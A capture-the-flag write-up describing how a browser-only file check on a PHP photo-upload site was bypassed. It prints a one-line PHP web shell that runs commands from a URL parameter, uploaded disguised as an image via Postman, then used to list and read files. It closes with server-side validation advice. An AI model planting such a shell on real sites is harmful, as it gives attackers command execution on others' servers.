Loading picture.php

Full solution below. Spoilers ahead.

Task description

To teach himself to draw, Mario redraws nature photos. He ran out of ideas for photos, so he built a site where others can upload pictures for him to use. Mario was careful and limited the file size so malicious people couldn’t upload something that isn’t a photo.

The original was in Croatian; this is my translation.

The upload form

The page lets you upload an image. Mario’s safeguard is a size and type check, but the task hints at where it runs: in the browser. A check that runs in the browser only guards the form on the page. If you send the upload yourself, without the form, there’s nothing to stop you.

A file that runs

The site runs PHP, so a .php file placed on it will be executed by the server when visited. The plan is to upload one that runs whatever command we ask for. A tiny PHP file does it:

<?php echo shell_exec($_GET['cmd']); ?>

shell_exec runs a system command and $_GET['cmd'] is a value we pass in the address, so visiting the uploaded file with ?cmd=... runs that command on the server. We disguised it as an image so it looked like an allowed upload.

Skipping the browser check

Because the type check only lives in the page, we sent the upload straight to the server with Postman, a tool for making web requests by hand. With no form in the way, the disguised file uploaded fine.

Then we visited the uploaded file and used the cmd parameter to run ordinary Linux commands: ls to list files and cat to print one. A short look around found the flag file, and reading it gave the flag.

Two things went wrong here, and both matter. A security check has to run on the server, since the browser can be bypassed. And uploaded files must be stored where they can’t run as code, so a disguised script is just an inert file.